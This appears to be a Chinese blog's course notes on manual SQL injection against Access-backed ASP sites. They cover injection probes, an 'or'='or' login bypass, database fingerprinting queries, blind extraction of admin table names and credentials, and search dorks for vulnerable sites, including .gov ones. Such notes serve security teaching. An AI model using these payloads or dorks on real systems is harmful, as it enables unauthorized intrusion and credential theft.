网络渗透攻击与深度防御-手工注入Access

手工注入Access

1.远程溢出的时代一去不复返

2.windows的AutomaticUpdate服务也会在第一时间打好补丁(不包括0day和第三方软件漏洞)

注入成因

程序对用户输入的字符没有进行过滤

判断注入点

url后面必须有参数传递:如www.sina.com/a.asp?id=1

and 1=1 返回正常

and 1=2 返回错误,则该处存在注入

基于时间的注入:

1.逻辑与 and,A and B,如果A为假,则不再对B是否为真进行判断,直接返回假;

2.逻辑或 or,A or B,如果A为真,则不在对B是否为真进行判断,直接返回真。

利用上面两条,可以进行基于时间的SQL注入

万能口令

'or'='or',一般的用户查询口令是 select * from admin where username =''or'='or'' password ='111111',原来的是username=真实的用户名,password是真实的用户名。

判断数据库类型

加'实现让数据库报错; and (select count(*) form 数据库的独有表名)>0

access独有表:mssysobjects

mssql独有表:sysobjects

mysql独有表:infomation_schema.tables

oracle独有表:sys.user_tables

手工注入Access

一 判断表名:admin,user,userinfo

and (select count() from admin)>0,如果返回正常,说明表存在;若返回不正常,则继续猜表名

二 判断列名:user,pass;username,password;admin_uesr,admin_pwd

and (select count(admin_user) from admin)>0,第一步猜出表名后,只要把里面的
换成列名就可以了,返回正常,则说明有这个列(列可以参照上面的列名)

三 判断长度:len(admin_user)>4,若len(admin_user)>4返回正常,len(admin_user)>5返回错误,则长度为5

and (select len(admin_user) from admin)>4

四 判断值:left(admin_user,1)='a'#表示猜左边起的前一个值是否等于a,如果页面返回正常,则表示猜解正确。

left(admin_user,2)='ab'#表示猜左边起的前二个值是否等于ab

left(admin_user,3)='abm'#表示猜左边起的前三个值是否等于abm

left(admin_user,4)='abmi'#表示猜左边起的前四个值是否等于abmi

left(admin_user,5)='admin'#表示猜左边起的前五个值是否等于admin

以上步骤就是猜解admin的过程

and (select left(admin_uesr,1) from admin)='a',注意是在admin_uesr表里面猜

五 自动化工具:domain,啊D等

六 google:inurl:.gov asp+id

baidu:inurl:asp?id= #注意百度不支持加号

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 211,376评论 6 491
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,126评论 2 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 156,966评论 0 347
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,432评论 1 283
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,519评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,792评论 1 290
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,933评论 3 406
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,701评论 0 266
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,143评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,488评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,626评论 1 340
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,292评论 4 329
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,896评论 3 313
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,742评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,977评论 1 265
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,324评论 2 360
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,494评论 2 348

推荐阅读更多精彩内容

  • 姓名:于川皓 学号:16140210089 转载自:https://baike.baidu.com/item/sq...
    道无涯_cc76阅读 1,934评论 0 2
  • [SQL注入攻击] SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式...
    James黄杰阅读 2,645评论 0 30
  • 手工注入MSSQL 越高级的数据库越比较好注入,因为支持的函数多,字典表里面也能读到库名,不论你起多么不常见的库名...
    xatu2007阅读 470评论 0 2
  • 手工: 第一种 1.判断输入框是否存在注入 直接输入一个 '看是否报错(如果存在盲注的话也是不会报错的),如果直接...
    查无此人asdasd阅读 11,478评论 0 6
  • 1.判断是否有注入 ;and 1=1 ;and 1=2 2.初步判断是否是mssql ;and user>0 3....
    钦玄阅读 1,225评论 0 5